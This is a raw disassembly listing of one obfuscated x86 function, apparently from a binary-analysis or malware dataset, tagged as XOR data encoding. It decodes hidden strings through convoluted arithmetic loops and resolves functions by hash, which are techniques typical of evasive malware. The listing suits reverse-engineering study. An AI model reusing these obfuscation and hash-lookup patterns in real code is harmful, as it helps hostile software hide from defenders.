Function at 0x42c784
Capabilities:
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.0042b7a0
add esp, 4
test al, al
je 0x42be90
mov al, 1
ret
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc8
push eax
sub esp, 0x28
mov dword [ebp - 0x10], esp
sub esp, 0x30
mov edi, esp
push eax
mov dword [ebp - 0x30], esp
push eax
mov dword [ebp - 0x1c], esp
sub esp, 0x20
mov dword [ebp - 0x24], esp
push eax
mov dword [ebp - 0x28], esp
push eax
mov dword [ebp - 0x34], esp
sub esp, 0x44
mov dword [ebp - 0x18], esp
sub esp, 0x44
mov dword [ebp - 0x20], esp
push eax
mov dword [ebp - 0x48], esp
push eax
mov dword [ebp - 0x3c], esp
sub esp, 0x28
mov dword [ebp - 0x64], esp
sub esp, 8
mov dword [ebp - 0x5c], esp
sub esp, 8
mov dword [ebp - 0x58], esp
sub esp, 8
mov dword [ebp - 0x54], esp
sub esp, 0x20
mov dword [ebp - 0x60], esp
mov dword [ebp - 0xd4], 0x51a04f87
mov dword [ebp - 0xd0], 0x55a653a5
mov dword [ebp - 0xcc], 0x59ba57b7
mov dword [ebp - 0xc8], 0x5d8a5bb4
mov dword [ebp - 0xc4], 0x61aa5fbf
mov dword [ebp - 0xc0], 0x65626388
mov word [ebp - 0xbc], 0
lea eax, [ebp - 0xd4]
mov ecx, 0xd9af072
movzx ebx, byte [eax]
mov edx, ecx
or edx, ebx
lea esi, [ecx - 0xd9af000]
and esi, ebx
not edx
or edx, esi
mov esi, edx
and esi, 0x3e
mov ebx, edx
xor ebx, 0x3e
lea ebx, [ebx + esi*2]
and edx, 1
or ebx, 1
add ebx, edx
mov byte [eax], bl
inc eax
dec ecx
cmp ecx, 0xd9af058
jne 0x42bf40
mov dword [ebp - 0xb8], 0x116c1f70
mov dword [ebp - 0xb4], 0x156b1357
mov dword [ebp - 0xb0], 0x963176f
mov dword [ebp - 0xac], 0xd780b7c
mov dword [ebp - 0xa8], 0x1620f67
mov dword [ebp - 0xa4], 0x541037f
mov dword [ebp - 0xa0], 0x397e0741
mov dword [ebp - 0x9c], 0x3d443b43
mov dword [ebp - 0x98], 0x31523f7b
mov dword [ebp - 0x94], 0x35433345
mov dword [ebp - 0x90], 0x29423772
mov dword [ebp - 0x8c], 0x2d692b41
mov dword [ebp - 0x88], 0x21692f5e
mov dword [ebp - 0x84], 0x2554234c
mov dword [ebp - 0x80], 0x59ba2747
mov dword [ebp - 0x7c], 0x5d3d5bce
mov dword [ebp - 0x78], 0x512b5f30
mov dword [ebp - 0x74], 0x553553c4
mov dword [ebp - 0x70], 0x49c95737
mov word [ebp - 0x6c], 0x4b48
mov word [ebp - 0x66], 0
mov dword [ebp - 0x6a], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 5
xor cl, byte [ebp + eax - 0xb8]
add cl, 0xe7
mov byte [ebp + eax - 0xb8], cl
inc eax
cmp eax, 0x54
jne case.default.0x42c07b
lea eax, [ebp - 0xd4]
lea ecx, [ebp - 0xb8]
push eax
push ecx
call fcn.0043ccf0
add esp, 8
mov ebx, eax
xor eax, eax
test ebx, ebx
sete al
jmp dword [eax*4 + 0x44eae4]
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x42c090
sub eax, ebx
cmp eax, 0xffffffd9
jge 0x42c0b0
mov eax, 0xffffffff
jmp 0x42c0b3
xor eax, eax
jmp 0x42caa1
add eax, 0x26
push eax
call fcn.0040c7f0
add esp, 4
mov dword [ebp - 0x2c], eax
mov edx, dword [ebp - 0x10]
mov dword [edx], 0x913b9f30
mov dword [edx + 4], 0x950c9301
mov dword [edx + 8], 0x890d9732
mov dword [edx + 0xc], 0x8d268b11
mov dword [edx + 0x10], 0x811f8f29
mov dword [edx + 0x14], 0x8524831e
mov dword [edx + 0x18], 0xf91f871f
mov dword [edx + 0x1c], 0xfd6cfba6
mov dword [edx + 0x20], 0xf158ff58
mov word [edx + 0x24], 0xf3f0
mov dword [edx + 0x26], 0
mov eax, 0xe29b0125
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [edx + eax + 0x1d64fedb]
xor ecx, eax
lea edx, [ecx + ecx]
and edx, 0x530008c
sub ecx, edx
add ecx, 0x92f8fa46
mov esi, ecx
and esi, edx
xor ecx, edx
mov edx, dword [ebp - 0x10]
lea ecx, [ecx + esi*2]
inc cl
mov byte [edx + eax + 0x1d64fedb], cl
inc eax
cmp eax, 0xe29b014f
jne 0x42c120
movzx ecx, word [ebx]
mov esi, dword [ebp - 0x2c]
mov eax, esi
test cx, cx
je 0x42c181
mov edx, ebx
add edx, 2
mov eax, esi
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42c170
mov word [eax], 0
mov edx, dword [ebp - 0x10]
movzx ecx, word [edx]
test cx, cx
je 0x42c1b1
add edx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42c1a0
mov word [eax], 0
jmp dword [0x44eaec]
push ebx
call fcn.0040c800
add esp, 4
xor eax, eax
cmp word [esi], 0x2a
sete al
mov ebx, dword [ebp - 0x1c]
jmp dword [eax*4 + 0x44eaf4]
xor eax, eax
cmp word [esi], 0x2a
sete al
mov ebx, dword [ebp - 0x1c]
jmp dword [eax*4 + 0x44eaf4]
jmp dword [0x44eb00]
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x44ebb4]
mov eax, dword [edx]
cmp dword [edx + 0x18], 3
mov esi, 0
jne case.default.0x42c228
mov esi, dword [edx + 0x10]
mov dword [ebp - 0x2c], eax
test eax, eax
setne al
test esi, esi
setne cl
and cl, al
movzx ecx, cl
mov eax, esi
jmp dword [ecx*4 + 0x44ebbc]
mov ecx, eax
inc eax
cmp byte [ecx], 0
jne case.0x42c228.1
mov eax, esi
jmp dword [0x44ebd0]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], edi
sub ecx, esi
inc ecx
shr ecx, 1
mov dword [ebp - 0x40], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040c7f0
add esp, 4
mov edi, eax
mov eax, dword [case.0x42c2c4.102]
movsx edx, byte [esi]
xor ebx, ebx
test edx, edx
setne bl
mov dword [ebp - 0x34], edi
jmp dword [ebx*4 + 0x44ebd4]
inc esi
mov byte [edi], bl
inc edi
movsx edx, byte [esi]
xor ebx, ebx
test edx, edx
setne bl
jmp dword [ebx*4 + 0x44ebd4]
jmp dword [0x44ebe4]
mov dword [ebp - 0x20], esi
lea ebx, [edx - 0x30]
cmp ebx, 0xa
jb 0x42c2a6
mov ebx, 0xffffffff
or edx, 0x20
lea esi, [edx - 0x61]
cmp esi, 6
jae case.default.0x42c2c4
add edx, 0xffffffa9
mov ebx, edx
mov esi, dword [ebp - 0x20]
movsx edx, byte [esi + 1]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x44ebec]
jmp eax
lea ecx, [edx - 0x30]
cmp ecx, 0xa
jb 0x42c2df
mov ecx, 0xffffffff
or edx, 0x20
lea esi, [edx - 0x61]
cmp esi, 6
jae case.default.0x42c307
add edx, 0xffffffa9
mov ecx, edx
mov esi, dword [ebp - 0x20]
shl ebx, 4
or ebx, ecx
add esi, 2
mov byte [edi], bl
inc edi
movsx edx, byte [esi]
xor ebx, ebx
test edx, edx
setne bl
jmp dword [ebx*4 + 0x44ebd4]
mov byte [edi], 0
mov dword [ebp - 0x20], 0
push 0
push 0x10
push 0
push dword [ebp - 0x2c]
call fcn.0042f0a0
add esp, 0x10
xor ecx, ecx
mov edi, dword [ebp - 0x14]
cmp edi, dword [ebp - 0x24]
setne cl
jmp dword [ecx*4 + 0x44ec04]
mov ecx, dword [edi]
mov dword [ebp - 0x20], ecx
xor ecx, ecx
jmp dword [ecx*4 + 0x44ec24]
add edi, 8
xor ebx, ebx
cmp edi, dword [ebp - 0x24]
setne bl
jmp dword [ebx*4 + 0x44ec04]
mov esi, dword [edi + 4]
mov ebx, esi
shr ebx, 0x1c
shl esi, 4
or esi, 1
xor ebx, edx
xor esi, eax
xor ecx, ecx
or esi, ebx
sete cl
jmp dword [ecx*4 + 0x44ec0c]
mov esi, 1
jmp dword [esi*4 + 0x44ec24]
xor eax, eax
mov esi, dword [ebp - 0x20]
test esi, esi
setne al
jmp dword [eax*4 + 0x44ec2c]
mov edi, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x28]
jmp dword [0x44ec3c]
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x40]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x34]
mov dword [eax + 4], ecx
mov eax, 0xffffffff
mov edi, dword [ebp - 0x54]
mov ebx, dword [ebp - 0x1c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x42c41a
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov dword [ecx + 4], esi
mov dword [edi], 0
mov dword [edi + 4], 0
push 0x31f26afb
push dword [0x452e00]
call fcn.004452a0
add esp, 8
push edi
push 1
push 0
push 0
push dword [ebp - 0x58]
push 0
push dword [ebp - 0x5c]
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44ec34]
mov edi, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
jmp dword [0x44ec3c]
movzx eax, byte [esi]
test al, al
je 0x42c44b
inc esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [esi]
inc esi
test al, al
jne 0x42c440
mov word [ebx], 0x203a
mov eax, ebx
add eax, 2
mov esi, dword [edi]
test esi, esi
je 0x42c48e
mov ecx, dword [edi + 4]
mov edx, esi
and edx, 3
je 0x42c492
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + edi], bl
inc edi
cmp edx, edi
jne 0x42c470
add eax, edi
mov edx, esi
sub edx, edi
mov ebx, eax
mov edi, dword [ebp - 0x54]
jmp 0x42c494
mov ebx, eax
jmp 0x42c4db
mov edx, esi
cmp esi, 4
jb 0x42c4db
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea esi, [eax + 4]
mov byte [eax + 3], bl
mov ebx, esi
mov eax, esi
add edx, 0xfffffffc
jne 0x42c4a0
mov byte [ebx], 0xa
inc ebx
push 0xd80d2c4a
push dword [0x452de8]
call fcn.004452a0
add esp, 8
push dword [edi + 4]
call eax
mov al, 1
mov dword [ebp - 0x18], eax
mov edi, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
jmp dword [0x44ec3c]
push dword [ebp - 0x34]
call fcn.0040c800
mov edx, dword [ebp - 0x28]
add esp, 4
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x44ebb4]
mov esi, dword [ebx]
mov ebx, dword [ebp - 0x38]
mov byte [ebx + esi], 0
push 0x20
call fcn.0040c7f0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [ebp - 0x3c], eax
mov ecx, eax
push esi
push ebx
call fcn.0042ecb0
movzx eax, al
mov dword [ebp - 0x18], 0
mov ebx, dword [ebp - 0x10]
jmp dword [eax*4 + 0x44eba4]
mov esi, dword [ebp - 0x64]
mov dword [esi], 0x8f7c8663
mov dword [esi + 4], 0x728c7c83
mov dword [esi + 8], 0x8f7b674f
mov dword [esi + 0xc], 0x7451689a
mov dword [esi + 0x10], 0x96636c9c
mov dword [esi + 0x14], 0x99994e5b
mov dword [esi + 0x18], 0x9769649e
mov dword [esi + 0x1c], 0x5f555477
mov word [esi + 0x20], 0x315d
mov dword [esi + 0x22], 0
mov word [esi + 0x26], 0
mov eax, 0x3d92c404
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esi + eax - 0x3d92c404]
lea edx, [ecx + 0x40000000]
and edx, eax
or ecx, eax
xor ecx, edx
add ecx, 0x40b804e
mov edx, ecx
and edx, 0x1e
xor ecx, 0x9e
lea ecx, [ecx + edx*2]
mov byte [esi + eax - 0x3d92c404], cl
inc eax
cmp eax, 0x3d92c42c
jne 0x42c5e0
mov ecx, dword [ebp - 0x3c]
push esi
call fcn.0042eea0
xor ecx, ecx
test eax, eax
setne cl
mov dword [ebp - 0x18], 0
mov ebx, dword [ebp - 0x10]
jmp dword [ecx*4 + 0x44ebac]
mov dword [ebp - 0x1c], ebx
jmp dword [0x44ec44]
mov esi, dword [ebp - 0x3c]
mov ecx, esi
call fcn.0042f000
push esi
call fcn.0040c800
add esp, 4
mov eax, dword [case.0x42cf62.3]
mov esi, dword [ebp - 0x48]
nop
nop
nop
nop
jmp eax
add eax, 8
mov dword [ebp - 0x18], 0
mov edx, dword [eax]
xor eax, eax
test edx, edx
setne al
mov ebx, dword [ebp - 0x10]
jmp dword [eax*4 + 0x44ebb4]
push 0
mov ebx, dword [ebp - 0x3c]
push ebx
push dword [esi]
call fcn.004460a0
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [ebp - 0x18], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], ecx
mov edi, dword [ebp - 0x14]
jmp dword [eax*4 + 0x44eb94]
mov esi, dword [ebx]
lea eax, [esi + 1]
push eax
call fcn.0040c7f0
add esp, 4
push 0
push esi
mov esi, dword [ebp - 0x48]
mov dword [ebp - 0x38], eax
push eax
push dword [esi]
call fcn.00446180
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [ebp - 0x18], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], ecx
jmp dword [eax*4 + 0x44eb9c]
jmp dword [0x44ec5c]
push dword [ebp - 0x38]
call fcn.0040c800
add esp, 4
mov dword [ebp - 0x14], edi
mov eax, dword [esi]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xb8], 0x4c4d4a4b
mov word [ebp - 0xb4], 0
mov ecx, 0x72
mov edx, 0x8d
nop
nop
nop
nop
movzx esi, byte [ebp + ecx - 0x12a]
mov ebx, ecx
xor ebx, edx
and ebx, esi
xor ebx, edx
mov al, 0xc5
sub al, bl
mov byte [ebp + ecx - 0x12a], al
inc ecx
dec edx
cmp ecx, 0x78
jne 0x42c720
mov ecx, dword [0x452df4]
test ecx, ecx
mov ebx, dword [ebp - 0x24]
je 0x42c778
mov edx, dword [ebp - 0xb8]
xor esi, esi
mov edi, dword [0x452df8]
nop
nop
nop
cmp dword [edi + esi*8], 0x7e776f1
je 0x42c770
inc esi
cmp ecx, esi
jne 0x42c760
jmp 0x42c778
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42c79d
mov edi, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
jmp dword [0x44ec64]
mov eax, edx
and al, 1
movzx ecx, al
mov esi, dword [ebp - 0x60]
mov eax, edx
jmp dword [ecx*4 + 0x44ec6c]
jmp dword [0x44ec74]
push dword [ebp - 0x20]
push 1
push dword [0x452dfc]
push ecx
call fcn.00442cc0
add esp, 0x10
mov edi, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
jmp dword [0x44ec64]
mov esi, dword [ebp - 0x24]
mov dword [esi], 0x77646e53
mov dword [esi + 4], 0x62746473
mov dword [esi + 8], 0x676b5f27
mov dword [esi + 0xc], 0x5c21687a
mov dword [esi + 0x10], 0x7e737464
mov dword [esi + 0x14], 0x7475543b
mov dword [esi + 0x18], 0x6f746c77
mov dword [esi + 0x1c], 0x1d6f
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esi + edx]
mov ecx, edx
xor ecx, 0x7f
lea eax, [edx - 0x121a5a80]
mov ebx, edi
not ebx
or ebx, ecx
mov ecx, eax
or ecx, edi
and ebx, ecx
not ebx
and ebx, eax
mov eax, ebx
or al, 0xfd
inc al
mov ecx, ebx
and cl, 0x9d
mul cl
mov ecx, eax
mov eax, edi
add cl, al
mov eax, ebx
shr al, 1
and al, 1
or bl, 2
mul bl
add al, al
sub cl, al
movzx eax, cl
add eax, edx
mov byte [esi + edx], al
inc edx
cmp edx, 0x20
jne case.default.0x42c863
mov ecx, dword [ebp - 0x4c]
push esi
call fcn.0042eea0
xor ecx, ecx
test eax, eax
setne cl
xor edx, edx
xor esi, esi
jmp dword [ecx*4 + 0x44eb4c]
add eax, 8
xor edx, edx
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor esi, esi
mov dword [ebp - 0x50], 0
xor edi, edi
jmp dword [eax*4 + 0x44eb54]
lea eax, [ecx + ecx]
not eax
add eax, ecx
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x40]
mov dword [edx + ecx + 4], eax
mov esi, dword [ebp - 0x24]
add esi, 8
mov ecx, dword [ebp - 0x38]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, edx
jmp dword [eax*4 + 0x44eb54]
mov dword [ebp - 0x38], ecx
mov ecx, dword [ecx]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], ecx
mov dword [eax], ecx
mov ebx, esi
sub ebx, edi
cmp esi, dword [ebp - 0x50]
mov dword [ebp - 0x40], ebx
jne 0x42c963
mov eax, ebx
sar eax, 3
mov ecx, ebx
shr ecx, 2
and ecx, 2
mov ebx, eax
shr ebx, 1
add ebx, eax
xor eax, 1
add eax, ecx
cmp ebx, eax
ja 0x42c8fa
mov ebx, eax
lea eax, [ebx*8]
push eax
call fcn.0040c7f0
add esp, 4
mov dword [ebp - 0x14], eax
test edi, edi
je 0x42c953
cmp edi, esi
mov edx, dword [ebp - 0x14]
je 0x42c942
xor eax, eax
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [edx + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [edx + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, esi
jne 0x42c920
push edi
call fcn.0040c800
add esp, 4
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov edi, dword [ebp - 0x14]
lea eax, [edi + ebx*8]
mov dword [ebp - 0x50], eax
mov esi, edi
mov ebx, dword [ebp - 0x40]
add esi, ebx
mov dword [ebp - 0x24], esi
mov dword [edi + ebx], 0
mov dword [edi + ebx + 4], 0
xor eax, eax
mov esi, dword [ebp - 0x10]
nop
nop
nop
nop
nop
nop
cmp byte [esi + eax], 0
lea eax, [eax + 1]
jne 0x42c980
push eax
mov dword [ebp - 0x1c], eax
call fcn.0040c7f0
add esp, 4
mov dword [ebp - 0x14], edi
mov dword [edi + ebx], eax
mov ebx, dword [ebp - 0x1c]
mov ecx, ebx
shr ecx, 2
mov edx, esi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add eax, edx
add edx, esi
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov dword [ebp - 0x10], esi
mov esi, edx
mov edi, eax
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov ecx, ebx
inc cl
test cl, 1
jne 0x42c9ee
mov ecx, ebx
and ecx, 2
movzx edx, byte [edx + ecx]
mov byte [eax + ecx], dl
mov ecx, 0xffffffff
cmp ebx, 1
je 0x42c890
mov ecx, 0xffffffff
mov eax, 1
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [ebp - 0x10]
movzx edi, byte [edx + eax - 1]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, edi
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov esi, edx
shr esi, 1
mov ecx, edi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, esi
mov ebx, edi
shl ebx, 0x1d
sar ebx, 0x1f
and ebx, 0x76dc419
mov esi, edi
shl esi, 0x1c
sar esi, 0x1f
and esi, 0xedb8832
xor esi, ebx
mov ebx, edi
shl ebx, 0x1b
sar ebx, 0x1f
and ebx, 0x1db71064
shl edi, 0x1a
sar edi, 0x1f
and edi, 0x3b6e20c8
xor edi, ebx
mov ebx, dword [ebp - 0x1c]
xor edi, esi
mov esi, ecx
shr esi, 6
xor edi, esi
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x76dc4190
xor edx, edi
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, edx
inc eax
cmp ebx, eax
jne 0x42ca00
jmp 0x42c890
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov esi, dword [edi]
lea eax, [esi + 1]
push eax
call fcn.0040c7f0
add esp, 4
push 0
push esi
push eax
mov eax, dword [ebp - 0x30]
push dword [eax]
call fcn.00446180
add esp, 0x10
mov esi, dword [edi]
lea eax, [esi + 1]
push eax
call fcn.0040c7f0
add esp, 4
mov ebx, eax
push 0
push esi
push eax
mov eax, dword [ebp - 0x30]
push dword [eax]
call fcn.00446180
add esp, 0x10
jmp dword [0x44eb38]
mov ecx, edi
mov dword [ebp - 0x44], ebx
not eax
shr eax, 0x1f
xor edi, edi
xor esi, esi
jmp dword [eax*4 + 0x44eb3c]
mov esi, dword [ecx]
mov edi, dword [ebp - 0x44]
mov byte [edi + esi], 0
push 0x20
call fcn.0040c7f0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [ebp - 0x4c], eax
mov ecx, eax
push esi
push edi
call fcn.0042ecb0
movzx eax, al
xor edx, edx
xor esi, esi
jmp dword [eax*4 + 0x44eb44]
mov edi, edx
jmp dword [0x44eb5c]
mov ebx, dword [ebp - 0x4c]
mov ecx, ebx
call fcn.0042f000
push ebx
call fcn.0040c800
add esp, 4
mov eax, dword [ebp - 0x44]
jmp dword [0x44eb74]
mov eax, dword [ebp - 0x44]
jmp dword [0x44eb74]
push eax
call fcn.0040c800
add esp, 4
jmp case.0x42c07b.15
push dword [ebp - 0x30]
mov esi, edx
call fcn.0040c800
add esp, 4
mov edx, esi
mov eax, edx
and al, 1
movzx ecx, al
mov esi, dword [ebp - 0x60]
mov eax, edx
jmp dword [ecx*4 + 0x44ec6c]
mov eax, dword [ebp - 0x1c]
mov byte [eax], 0
mov dword [esi], 0xa7a2a171
mov dword [esi + 4], 0xa38f8eb5
mov dword [esi + 8], 0xb8bcbeb1
mov dword [esi + 0xc], 0xbaaa9673
mov dword [esi + 0x10], 0x8f75b481
mov dword [esi + 0x14], 0x8983868b
mov dword [esi + 0x18], 0x93964f8b
mov dword [esi + 0x1c], 0x1598
mov eax, 0x323af38c
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esi + eax - 0x323af38c]
mov edx, eax
and edx, ecx
add edx, edx
sub ecx, edx
add ecx, eax
mov edx, ecx
xor edx, 0xfb26c1bd
and ecx, 0x4d93e42
add ecx, ecx
sub ecx, edx
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
mov byte [esi + eax - 0x323af38c], cl
inc eax
cmp eax, 0x323af3ac
jne 0x42cc00
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
sub edx, eax
mov ecx, dword [ebp + 8]
push edx
push eax
push esi
call fcn.0040d630
jmp dword [0x44ec74]
push dword [ebp - 0x10]
mov esi, eax
call fcn.0040c800
mov eax, esi
add esp, 4
and al, 1
test edi, edi
jne 0x42cc94
jmp 0x42caa1
push dword [ebp - 0x2c]
call fcn.0040c800
add esp, 4
xor eax, eax
cmp edi, ebx
sete al
jmp dword [eax*4 + 0x44eb84]
xor eax, eax
test edi, edi
je 0x42caa1
cmp edi, ebx
je 0x42caa1
mov dword [ebp - 0x18], eax
mov esi, edi
jmp 0x42ccb7
add esi, 8
cmp esi, ebx
je 0x42ccc8
mov eax, dword [esi]
test eax, eax
je 0x42ccb0
push eax
call fcn.0040c800
add esp, 4
jmp 0x42ccb0
push edi
call fcn.0040c800
add esp, 4
mov eax, dword [ebp - 0x18]
jmp 0x42caa1
mov dword [ebp - 0x24], ebx
mov eax, ebx
mov dword [ebp - 0x14], edi
sub eax, edi
sar eax, 3
mov edx, eax
and edx, 0x421
mov ecx, eax
or eax, 0x421
imul eax, edx
xor edx, 0x421
and ecx, 0xfffffbde
imul ecx, edx
add eax, ecx
push eax
call fcn.0040c7f0
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [0x452df0]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], 0xff32f9dd
mov dword [ecx + 4], 0xe305fd6f
mov dword [ecx + 8], 0xe70ae101
mov dword [ecx + 0xc], 0xeb7ae525
mov dword [ecx + 0x10], 0xef2ae978
mov dword [ecx + 0x14], 0x9306ed0d
mov dword [ecx + 0x18], 0x97b39171
mov dword [ecx + 0x1c], 0x9b6d9568
mov dword [ecx + 0x20], 0x9f7b990c
mov dword [ecx + 0x24], 0x836f9d7d
mov dword [ecx + 0x28], 0x876a817c
mov dword [ecx + 0x2c], 0x8b6d8517
mov dword [ecx + 0x30], 0x8f628969
mov dword [ecx + 0x34], 0xb3288d5e
mov dword [ecx + 0x38], 0xb75cb154
mov word [ecx + 0x3c], 0xb5b4
mov word [ecx + 0x42], 0
mov dword [ecx + 0x3e], 0
mov ecx, 0x532a12a
nop
nop
nop
mov edx, dword [ebp - 0x18]
movzx edx, byte [edx + ecx - 0x532a12a]
mov esi, edx
not esi
or esi, ecx
lea edi, [edx + esi]
inc edi
mov ebx, edi
and ebx, 0xfffffffd
mov esi, edi
or esi, 0xfffffffd
inc esi
imul esi, ebx
mov ebx, edi
and ebx, 2
or edi, 2
imul edi, ebx
sub esi, edi
mov edi, ecx
and edi, edx
xor edx, ecx
lea edx, [edx + edi*2]
add edx, esi
mov esi, edx
and esi, 0x2d
xor edx, 0xe602da2d
lea esi, [edx + esi*2]
and edx, 1
xor esi, 1
lea edx, [esi + edx*2]
mov esi, dword [ebp - 0x18]
mov byte [esi + ecx - 0x532a12a], dl
mov edx, dword [ebp - 0x18]
inc ecx
cmp ecx, 0x532a16e
jne 0x42cda0
mov esi, dword [ebp - 0x34]
push esi
push 0
push 0
push 0x1e
push edx
push 0
call eax
mov eax, dword [esi]
test eax, eax
mov dword [ebp - 0x1c], eax
jns 0x42ce27
mov eax, 0xffffffff
jmp 0x42ce29
add eax, eax
push eax
call fcn.0040c7f0
add esp, 4
mov dword [ebp - 0x30], eax
mov eax, dword [0x452df0]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
mov dword [eax], 0x59865b7f
mov dword [eax + 4], 0x5dbb5fa9
mov dword [eax + 8], 0x51ae53bb
mov dword [eax + 0xc], 0x55a65797
mov dword [eax + 0x10], 0x69ae6ba4
mov dword [eax + 0x14], 0x6d9a6f8f
mov dword [eax + 0x18], 0x6159638b
mov dword [eax + 0x1c], 0x65b3678c
mov dword [eax + 0x20], 0x79817b90
mov dword [eax + 0x24], 0x7d8d7f9f
mov dword [eax + 0x28], 0x718e7390
mov dword [eax + 0x2c], 0x75937781
mov dword [eax + 0x30], 0x9f60b93
mov dword [eax + 0x34], 0xd840f3a
mov dword [eax + 0x38], 0x1f803e8
mov word [eax + 0x3c], 0x700
mov byte [eax + 0x42], 0
mov dword [eax + 0x3e], 0
mov ecx, 0x8f
mov dword [ebp - 0x18], 0x659607b0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x20]
movzx eax, byte [eax + ecx - 0x8f]
mov edi, ecx
and edi, eax
add edi, edi
mov esi, eax
sub esi, edi
add esi, ecx
add esi, 0x9a69f800
mov edx, esi
xor edx, 0x411dacb
mov ebx, esi
or ebx, 0x7bee2534
and ebx, edx
sub edi, eax
add edi, dword [ebp - 0x18]
and edi, 0x34
mov eax, esi
and eax, 0xcb
or eax, edi
lea eax, [eax + ebx*2]
and esi, 1
xor eax, 1
lea eax, [eax + esi*2]
mov edx, dword [ebp - 0x20]
mov byte [edx + ecx - 0x8f], al
mov eax, dword [ebp - 0x20]
inc ecx
dec dword [ebp - 0x18]
cmp ecx, 0xd2
jne case.default.0x42cf62
push dword [ebp - 0x34]
push dword [ebp - 0x1c]
mov edi, dword [ebp - 0x30]
push edi
push 0x1e
push eax
push 0
call dword [ebp - 0x2c]
push 0x60
push 3
push 0x120089
mov esi, dword [ebp - 0x48]
push esi
push edi
call fcn.00445d50
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44eb8c]
xor edx, edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x14]
jmp dword [0x44ec64]
